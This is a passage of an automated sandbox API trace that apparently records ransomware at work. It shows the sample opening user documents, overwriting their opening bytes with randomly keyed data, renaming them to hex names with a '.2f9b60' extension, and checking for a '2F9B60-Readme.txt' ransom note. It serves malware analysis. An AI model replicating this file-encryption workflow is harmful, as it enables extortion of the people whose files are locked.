| out: Seed=0x23cdfc30) returned 0x241517ae [0093.385] RtlRandomEx (in: Seed=0x23cdfc30 | out: Seed=0x23cdfc30) returned 0x6872403a [0093.385] RtlRandomEx (in: Seed=0x23cdfc30 | out: Seed=0x23cdfc30) returned 0x2bc776b4 [0093.385] RtlRandomEx (in: Seed=0x23cdfc30 | out: Seed=0x23cdfc30) returned 0x7ae7c0d5 [0093.394] SetFilePointerEx (in: hFile=0xd04, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0093.394] ReadFile (in: hFile=0xd04, lpBuffer=0x201f5950, nNumberOfBytesToRead=0x3c00, lpNumberOfBytesRead=0x23cdfca0, lpOverlapped=0x0 | out: lpBuffer=0x201f5950*, lpNumberOfBytesRead=0x23cdfca0*=0x3c00, lpOverlapped=0x0) returned 1 [0093.394] SetFilePointerEx (in: hFile=0xd04, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0093.394] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1b82c120 [0093.394] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b85f210 [0093.394] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b85f6d0 [0093.394] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85f6d0) returned 1 [0093.395] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x201f9560 [0093.395] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b85f6d0 [0093.395] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b85f4f0 [0093.395] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85f4f0) returned 1 [0093.395] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85f210) returned 1 [0093.395] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82c120) returned 1 [0093.395] WriteFile (in: hFile=0xd04, lpBuffer=0x201f9560*, nNumberOfBytesToWrite=0x3c00, lpNumberOfBytesWritten=0x23cdfca0, lpOverlapped=0x0 | out: lpBuffer=0x201f9560*, lpNumberOfBytesWritten=0x23cdfca0*=0x3c00, lpOverlapped=0x0) returned 1 [0093.397] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x201f9560) returned 1 [0093.397] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x201f5950) returned 1 [0093.397] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b85f4f0 [0093.397] SetFilePointerEx (in: hFile=0xd04, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0093.397] WriteFile (in: hFile=0xd04, lpBuffer=0x1694d0*, nNumberOfBytesToWrite=0x104, lpNumberOfBytesWritten=0x23cdfd50, lpOverlapped=0x0 | out: lpBuffer=0x1694d0*, lpNumberOfBytesWritten=0x23cdfd50*=0x104, lpOverlapped=0x0) returned 1 [0093.398] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1b82c120 [0093.399] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b85f210 [0093.399] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b85f580 [0093.399] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85f580) returned 1 [0093.399] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x12) returned 0x1b82d000 [0093.399] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b85f580 [0093.399] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b85f520 [0093.399] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85f520) returned 1 [0093.399] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85f210) returned 1 [0093.399] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82c120) returned 1 [0093.399] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x25) returned 0x1b85f520 [0093.399] sprintf (in: _Dest=0x1b85f520, _Format="%c%c" | out: _Dest="7d") returned 2 [0093.399] sprintf (in: _Dest=0x1b85f522, _Format="%c%c" | out: _Dest="32") returned 2 [0093.399] sprintf (in: _Dest=0x1b85f524, _Format="%c%c" | out: _Dest="a6") returned 2 [0093.399] sprintf (in: _Dest=0x1b85f526, _Format="%c%c" | out: _Dest="dd") returned 2 [0093.399] sprintf (in: _Dest=0x1b85f528, _Format="%c%c" | out: _Dest="a8") returned 2 [0093.399] sprintf (in: _Dest=0x1b85f52a, _Format="%c%c" | out: _Dest="85") returned 2 [0093.399] sprintf (in: _Dest=0x1b85f52c, _Format="%c%c" | out: _Dest="3c") returned 2 [0093.399] sprintf (in: _Dest=0x1b85f52e, _Format="%c%c" | out: _Dest="09") returned 2 [0093.399] sprintf (in: _Dest=0x1b85f530, _Format="%c%c" | out: _Dest="b4") returned 2 [0093.399] sprintf (in: _Dest=0x1b85f532, _Format="%c%c" | out: _Dest="ac") returned 2 [0093.399] sprintf (in: _Dest=0x1b85f534, _Format="%c%c" | out: _Dest="09") returned 2 [0093.400] sprintf (in: _Dest=0x1b85f536, _Format="%c%c" | out: _Dest="2d") returned 2 [0093.400] sprintf (in: _Dest=0x1b85f538, _Format="%c%c" | out: _Dest="1a") returned 2 [0093.400] sprintf (in: _Dest=0x1b85f53a, _Format="%c%c" | out: _Dest="36") returned 2 [0093.400] sprintf (in: _Dest=0x1b85f53c, _Format="%c%c" | out: _Dest="4a") returned 2 [0093.400] sprintf (in: _Dest=0x1b85f53e, _Format="%c%c" | out: _Dest="33") returned 2 [0093.400] sprintf (in: _Dest=0x1b85f540, _Format="%c%c" | out: _Dest="18") returned 2 [0093.400] sprintf (in: _Dest=0x1b85f542, _Format="%c%c" | out: _Dest="21") returned 2 [0093.400] RtlInitAnsiString (in: DestinationString=0x23cdfdc8, SourceString="7d32a6dda8853c09b4ac092d1a364a331821" | out: DestinationString="7d32a6dda8853c09b4ac092d1a364a331821") [0093.400] RtlAnsiStringToUnicodeString (in: DestinationString=0x23cdfd98, SourceString="7d32a6dda8853c09b4ac092d1a364a331821", AllocateDestinationString=1 | out: DestinationString="7d32a6dda8853c09b4ac092d1a364a331821") returned 0x0 [0093.400] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x4a) returned 0x1cd9cd90 [0093.400] wcscat (in: _Dest=0x1b85f210, _Source="7d32a6dda" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\7d32a6dda") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\7d32a6dda" [0093.400] wcscat (in: _Dest=0x1b85f210, _Source=".2f9b60" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\7d32a6dda.2f9b60") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\7d32a6dda.2f9b60" [0093.400] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\7d32a6dda.2f9b60", NtPathName=0x23cdfd70, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\7d32a6dda.2f9b60", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0093.400] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x90) returned 0x1b7ad5c0 [0093.403] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b7ad5c0) returned 1 [0093.403] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x173400) returned 1 [0093.403] NtQueryInformationFile (in: FileHandle=0xd04, IoStatusBlock=0x23cdfdd8, FileInformation=0x23cdfde8, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x23cdfdd8, FileInformation=0x23cdfde8) returned 0x0 [0093.403] NtSetInformationFile (FileHandle=0xd04, IoStatusBlock=0x23cdfdd8, FileInformation=0x23cdfde8, Length=0x28, FileInformationClass=0x4) returned 0x0 [0093.404] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85f210) returned 1 [0093.404] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd9cd90) returned 1 [0093.404] FlushFileBuffers (hFile=0xd04) returned 1 [0093.419] CloseHandle (hObject=0xd04) returned 1 [0093.420] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x76) returned 0x1b85f210 [0093.420] wcscpy (in: _Dest=0x1b85f210, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\" [0093.420] wcscat (in: _Dest=0x1b85f210, _Source="2F9B60-Readme.txt" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\2F9B60-Readme.txt") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\2F9B60-Readme.txt" [0093.420] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\2F9B60-Readme.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\2f9b60-readme.txt")) returned 0x20 [0093.420] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85f210) returned 1 [0093.420] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b86ea30) returned 1 Thread: id = 530 os_tid = 0xdc8 [0093.406] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\sb6tP0UkQ3RwvQ9MaoK5.xlsx" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\sb6tp0ukq3rwvq9maok5.xlsx")) returned 0x20 [0093.406] SetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\sb6tP0UkQ3RwvQ9MaoK5.xlsx", dwFileAttributes=0x20) returned 1 [0093.406] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\sb6tP0UkQ3RwvQ9MaoK5.xlsx" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\sb6tp0ukq3rwvq9maok5.xlsx"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xd88 [0093.406] GetFileSizeEx (in: hFile=0xd88, lpFileSize=0x2353f960 | out: lpFileSize=0x2353f960*=39581) returned 1 [0093.406] SetFilePointerEx (in: hFile=0xd88, liDistanceToMove=0x9a99, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0093.406] ReadFile (in: hFile=0xd88, lpBuffer=0x2353f8e0, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x2353f928, lpOverlapped=0x0 | out: lpBuffer=0x2353f8e0*, lpNumberOfBytesRead=0x2353f928*=0x4, lpOverlapped=0x0) returned 1 [0093.407] SetFilePointerEx (in: hFile=0xd88, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0093.407] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b85f6a0 [0093.407] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b85f640 [0093.407] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b85f670 [0093.407] NtQuerySystemTime (in: CurrentTime=0x2353f820 | out: CurrentTime=0x2353f820*=132462176992390000) returned 0x0 [0093.407] RtlRandomEx (in: Seed=0x2353f810 | out: Seed=0x2353f810) returned 0x16e9429f [0093.407] RtlRandomEx (in: Seed=0x2353f810 | out: Seed=0x2353f810) returned 0x53fcba88 [0093.407] RtlRandomEx (in: Seed=0x2353f810 | out: Seed=0x2353f810) returned 0x1179c208 [0093.408] RtlRandomEx (in: Seed=0x2353f810 | out: Seed=0x2353f810) returned 0x67313167 [0093.408] RtlRandomEx (in: Seed=0x2353f810 | out: Seed=0x2353f810) returned 0x7f7c3daf [0093.408] RtlRandomEx (in: Seed=0x2353f810 | out: Seed=0x2353f810) returned 0x18623768 [0093.408] RtlRandomEx (in: Seed=0x2353f810 | out: Seed=0x2353f810) returned 0x2348e941 [0093.408] RtlRandomEx (in: Seed=0x2353f810 | out: Seed=0x2353f810) returned 0x7172a9a8 [0093.408] RtlRandomEx (in: Seed=0x2353f810 | out: Seed=0x2353f810) returned 0x45fdc40f [0093.408] RtlRandomEx (in: Seed=0x2353f810 | out: Seed=0x2353f810) returned 0x549fda1 [0093.408] RtlRandomEx (in: Seed=0x2353f810 | out: Seed=0x2353f810) returned 0x2bdf0016 [0093.408] RtlRandomEx (in: Seed=0x2353f810 | out: Seed=0x2353f810) returned 0x4b29dac [0093.408] RtlRandomEx (in: Seed=0x2353f810 | out: Seed=0x2353f810) returned 0x47fcfc02 [0093.408] RtlRandomEx (in: Seed=0x2353f810 | out: Seed=0x2353f810) returned 0x36aaf581 [0093.408] RtlRandomEx (in: Seed=0x2353f810 | out: Seed=0x2353f810) returned 0x6a51fe31 [0093.408] RtlRandomEx (in: Seed=0x2353f810 | out: Seed=0x2353f810) returned 0xf2cd166 [0093.408] RtlRandomEx (in: Seed=0x2353f810 | out: Seed=0x2353f810) returned 0x465ef32f [0093.408] RtlRandomEx (in: Seed=0x2353f810 | out: Seed=0x2353f810) returned 0x39a266a3 [0093.408] RtlRandomEx (in: Seed=0x2353f810 | out: Seed=0x2353f810) returned 0x60f192ce [0093.408] RtlRandomEx (in: Seed=0x2353f810 | out: Seed=0x2353f810) returned 0x7ac4b237 [0093.408] RtlRandomEx (in: Seed=0x2353f810 | out: Seed=0x2353f810) returned 0x1e199648 [0093.408] RtlRandomEx (in: Seed=0x2353f810 | out: Seed=0x2353f810) returned 0x47a74a82 [0093.408] RtlRandomEx (in: Seed=0x2353f810 | out: Seed=0x2353f810) returned 0x27bd495a [0093.408] RtlRandomEx (in: Seed=0x2353f810 | out: Seed=0x2353f810) returned 0x305ebbca [0093.408] RtlRandomEx (in: Seed=0x2353f810 | out: Seed=0x2353f810) returned 0x52e56389 [0093.408] RtlRandomEx (in: Seed=0x2353f810 | out: Seed=0x2353f810) returned 0x21ee6654 [0093.408] RtlRandomEx (in: Seed=0x2353f810 | out: Seed=0x2353f810) returned 0x24a59233 [0093.408] RtlRandomEx (in: Seed=0x2353f810 | out: Seed=0x2353f810) returned 0xa741db [0093.408] RtlRandomEx (in: Seed=0x2353f810 | out: Seed=0x2353f810) returned 0x34c2842 [0093.408] RtlRandomEx (in: Seed=0x2353f810 | out: Seed=0x2353f810) returned 0x34b9093a [0093.408] RtlRandomEx (in: Seed=0x2353f810 | out: Seed=0x2353f810) returned 0x203cfcce [0093.408] RtlRandomEx (in: Seed=0x2353f810 | out: Seed=0x2353f810) returned 0x61c00562 [0093.416] SetFilePointerEx (in: hFile=0xd88, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0093.417] ReadFile (in: hFile=0xd88, lpBuffer=0x201f5950, nNumberOfBytesToRead=0x3c00, lpNumberOfBytesRead=0x2353f880, lpOverlapped=0x0 | out: lpBuffer=0x201f5950*, lpNumberOfBytesRead=0x2353f880*=0x3c00, lpOverlapped=0x0) returned 1 [0093.417] SetFilePointerEx (in: hFile=0xd88, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0093.417] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1b82c120 [0093.417] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b85f210 [0093.417] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b85f6a0 [0093.417] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85f6a0) returned 1 [0093.417] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x201f9560 [0093.417] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b85f6a0 [0093.417] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b85f670 [0093.417] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85f670) returned 1 [0093.417] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85f210) returned 1 [0093.417] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82c120) returned 1 [0093.417] WriteFile (in: hFile=0xd88, lpBuffer=0x201f9560*, nNumberOfBytesToWrite=0x3c00, lpNumberOfBytesWritten=0x2353f880, lpOverlapped=0x0 | out: lpBuffer=0x201f9560*, lpNumberOfBytesWritten=0x2353f880*=0x3c00, lpOverlapped=0x0) returned 1 [0093.421] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x201f9560) returned 1 [0093.421] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x201f5950) returned 1 [0093.421] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1b82c120 [0093.421] SetFilePointerEx (in: hFile=0xd88, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0093.421] WriteFile (in: hFile=0xd88, lpBuffer=0x1b7d3a20*, nNumberOfBytesToWrite=0x124, lpNumberOfBytesWritten=0x2353f930, lpOverlapped=0x0 | out: lpBuffer=0x1b7d3a20*, lpNumberOfBytesWritten=0x2353f930*=0x124, lpOverlapped=0x0) returned 1 [0093.422] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1b82bc20 [0093.423] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b85f210 [0093.423] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b85f670 [0093.423] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85f670) returned 1 [0093.423] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x32) returned 0x1cd9ebb0 [0093.423] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b85f670 [0093.423] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b85f550 [0093.423] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85f550) returned 1 [0093.423] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85f210) returned 1 [0093.423] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82bc20) returned 1 [0093.423] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x65) returned 0x1b86ea30 [0093.423] sprintf (in: _Dest=0x1b86ea30, _Format="%c%c" | out: _Dest="b0") returned 2 [0093.423] sprintf (in: _Dest=0x1b86ea32, _Format="%c%c" | out: _Dest="b9") returned 2 [0093.423] sprintf (in: _Dest=0x1b86ea34, _Format="%c%c" | out: _Dest="14") returned 2 [0093.423] sprintf (in: _Dest=0x1b86ea36, _Format="%c%c" | out: _Dest="08") returned 2 [0093.423] sprintf (in: _Dest=0x1b86ea38, _Format="%c%c" | out: _Dest="ac") returned 2 [0093.423] sprintf (in: _Dest=0x1b86ea3a, _Format="%c%c" | out: _Dest="0b") returned 2 [0093.423] sprintf (in: _Dest=0x1b86ea3c, _Format="%c%c" | out: _Dest="fb") returned 2 [0093.423] sprintf (in: _Dest=0x1b86ea3e, _Format="%c%c" | out: _Dest="76") returned 2 [0093.423] sprintf (in: _Dest=0x1b86ea40, _Format="%c%c" | out: _Dest="05") returned 2 [0093.423] sprintf (in: _Dest=0x1b86ea42, _Format="%c%c" | out: _Dest="5e") returned 2 [0093.423] sprintf (in: _Dest=0x1b86ea44, _Format="%c%c" | out: _Dest="f7") returned 2 [0093.423] sprintf (in: _Dest=0x1b86ea46, _Format="%c%c" | out: _Dest="48") returned 2 [0093.423] sprintf (in: _Dest=0x1b86ea48, _Format="%c%c" | out: _Dest="fb") returned 2 [0093.423] sprintf (in: _Dest=0x1b86ea4a, _Format="%c%c" | out: _Dest="6b") returned 2 [0093.423] sprintf (in: _Dest=0x1b86ea4c, _Format="%c%c" | out: _Dest="1c") returned 2 [0093.423] sprintf (in: _Dest=0x1b86ea4e, _Format="%c%c" | out: _Dest="d4") returned 2 [0093.423] sprintf (in: _Dest=0x1b86ea50, _Format="%c%c" | out: _Dest="c9") returned 2 [0093.423] sprintf (in: _Dest=0x1b86ea52, _Format="%c%c" | out: _Dest="e8") returned 2 [0093.423] sprintf (in: _Dest=0x1b86ea54, _Format="%c%c" | out: _Dest="40") returned 2 [0093.424] sprintf (in: _Dest=0x1b86ea56, _Format="%c%c" | out: _Dest="60") returned 2 [0093.424] sprintf (in: _Dest=0x1b86ea58, _Format="%c%c" | out: _Dest="55") returned 2 [0093.424] sprintf (in: _Dest=0x1b86ea5a, _Format="%c%c" | out: _Dest="f7") returned 2 [0093.424] sprintf (in: _Dest=0x1b86ea5c, _Format="%c%c" | out: _Dest="94") returned 2 [0093.424] sprintf (in: _Dest=0x1b86ea5e, _Format="%c%c" | out: _Dest="4e") returned 2 [0093.424] sprintf (in: _Dest=0x1b86ea60, _Format="%c%c" | out: _Dest="af") returned 2 [0093.424] sprintf (in: _Dest=0x1b86ea62, _Format="%c%c" | out: _Dest="a4") returned 2 [0093.424] sprintf (in: _Dest=0x1b86ea64, _Format="%c%c" | out: _Dest="31") returned 2 [0093.424] sprintf (in: _Dest=0x1b86ea66, _Format="%c%c" | out: _Dest="bd") returned 2 [0093.424] sprintf (in: _Dest=0x1b86ea68, _Format="%c%c" | out: _Dest="14") returned 2 [0093.424] sprintf (in: _Dest=0x1b86ea6a, _Format="%c%c" | out: _Dest="d6") returned 2 [0093.424] sprintf (in: _Dest=0x1b86ea6c, _Format="%c%c" | out: _Dest="63") returned 2 [0093.424] sprintf (in: _Dest=0x1b86ea6e, _Format="%c%c" | out: _Dest="19") returned 2 [0093.424] sprintf (in: _Dest=0x1b86ea70, _Format="%c%c" | out: _Dest="f6") returned 2 [0093.424] sprintf (in: _Dest=0x1b86ea72, _Format="%c%c" | out: _Dest="a2") returned 2 [0093.424] sprintf (in: _Dest=0x1b86ea74, _Format="%c%c" | out: _Dest="49") returned 2 [0093.424] sprintf (in: _Dest=0x1b86ea76, _Format="%c%c" | out: _Dest="2d") returned 2 [0093.424] sprintf (in: _Dest=0x1b86ea78, _Format="%c%c" | out: _Dest="56") returned 2 [0093.424] sprintf (in: _Dest=0x1b86ea7a, _Format="%c%c" | out: _Dest="a8") returned 2 [0093.424] sprintf (in: _Dest=0x1b86ea7c, _Format="%c%c" | out: _Dest="89") returned 2 [0093.424] sprintf (in: _Dest=0x1b86ea7e, _Format="%c%c" | out: _Dest="cc") returned 2 [0093.424] sprintf (in: _Dest=0x1b86ea80, _Format="%c%c" | out: _Dest="93") returned 2 [0093.424] sprintf (in: _Dest=0x1b86ea82, _Format="%c%c" | out: _Dest="b4") returned 2 [0093.424] sprintf (in: _Dest=0x1b86ea84, _Format="%c%c" | out: _Dest="e7") returned 2 [0093.424] sprintf (in: _Dest=0x1b86ea86, _Format="%c%c" | out: _Dest="da") returned 2 [0093.424] sprintf (in: _Dest=0x1b86ea88, _Format="%c%c" | out: _Dest="0f") returned 2 [0093.424] sprintf (in: _Dest=0x1b86ea8a, _Format="%c%c" | out: _Dest="a7") returned 2 [0093.424] sprintf (in: _Dest=0x1b86ea8c, _Format="%c%c" | out: _Dest="bb") returned 2 [0093.424] sprintf (in: _Dest=0x1b86ea8e, _Format="%c%c" | out: _Dest="64") returned 2 [0093.424] sprintf (in: _Dest=0x1b86ea90, _Format="%c%c" | out: _Dest="45") returned 2 [0093.424] sprintf (in: _Dest=0x1b86ea92, _Format="%c%c" | out: _Dest="a8") returned 2 [0093.424] RtlInitAnsiString (in: DestinationString=0x2353f9a8, SourceString="b0b91408ac0bfb76055ef748fb6b1cd4c9e8406055f7944eafa431bd14d66319f6a2492d56a889cc93b4e7da0fa7bb6445a8" | out: DestinationString="b0b91408ac0bfb76055ef748fb6b1cd4c9e8406055f7944eafa431bd14d66319f6a2492d56a889cc93b4e7da0fa7bb6445a8") [0093.424] RtlAnsiStringToUnicodeString (in: DestinationString=0x2353f978, SourceString="b0b91408ac0bfb76055ef748fb6b1cd4c9e8406055f7944eafa431bd14d66319f6a2492d56a889cc93b4e7da0fa7bb6445a8", AllocateDestinationString=1 | out: DestinationString="b0b91408ac0bfb76055ef748fb6b1cd4c9e8406055f7944eafa431bd14d66319f6a2492d56a889cc93b4e7da0fa7bb6445a8") returned 0x0 [0093.424] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xca) returned 0x1b776690 [0093.425] wcscat (in: _Dest=0x1b7ad5c0, _Source="b0b91408ac0bfb76055ef748f" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\b0b91408ac0bfb76055ef748f") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\b0b91408ac0bfb76055ef748f" [0093.425] wcscat (in: _Dest=0x1b7ad5c0, _Source=".2f9b60" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\b0b91408ac0bfb76055ef748f.2f9b60") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\b0b91408ac0bfb76055ef748f.2f9b60" [0093.425] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\b0b91408ac0bfb76055ef748f.2f9b60", NtPathName=0x2353f950, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\b0b91408ac0bfb76055ef748f.2f9b60", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0093.425] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xb0) returned 0x1079c0 [0093.426] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1079c0) returned 1 [0093.426] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x173400) returned 1 [0093.426] NtQueryInformationFile (in: FileHandle=0xd88, IoStatusBlock=0x2353f9b8, FileInformation=0x2353f9c8, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x2353f9b8, FileInformation=0x2353f9c8) returned 0x0 [0093.426] NtSetInformationFile (FileHandle=0xd88, IoStatusBlock=0x2353f9b8, FileInformation=0x2353f9c8, Length=0x28, FileInformationClass=0x4) returned 0x0 [0093.427] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b7ad5c0) returned 1 [0093.427] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b776690) returned 1 [0093.427] FlushFileBuffers (hFile=0xd88) returned 1 [0093.428] CloseHandle (hObject=0xd88) returned 1 [0093.429] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x76) returned 0x1b85f210 [0093.429] wcscpy (in: _Dest=0x1b85f210, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\" [0093.429] wcscat (in: _Dest=0x1b85f210, _Source="2F9B60-Readme.txt" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\2F9B60-Readme.txt") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\2F9B60-Readme.txt" [0093.429] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\2F9B60-Readme.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\2f9b60-readme.txt")) returned 0x20 [0093.429] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85f210) returned 1 [0093.429] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b7847f0) returned 1 Thread: id = 531 os_tid = 0xdcc [0093.431] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\sSeK.rtf" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\ssek.rtf")) returned 0x20 [0093.431] SetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\sSeK.rtf", dwFileAttributes=0x20) returned 1 